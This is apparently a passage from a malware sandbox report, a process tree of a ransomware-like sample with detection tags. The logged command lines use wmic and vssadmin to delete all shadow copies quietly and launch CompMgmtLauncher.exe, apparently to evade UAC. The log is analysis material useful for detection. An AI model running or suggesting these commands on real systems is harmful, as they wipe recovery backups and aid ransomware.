C:\Windows\system32\wbem\wmic.exe"C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"3⤵PID:2400
-
-
-
C:\Windows\system32\cmd.execmd /c CompMgmtLauncher.exe1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1604 -
C:\Windows\system32\CompMgmtLauncher.exeCompMgmtLauncher.exe2⤵PID:2228
-
C:\Windows\system32\wbem\wmic.exe"C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"3⤵PID:2436
-
-
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2676
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2684
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2712
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2728
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2700
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵PID:2880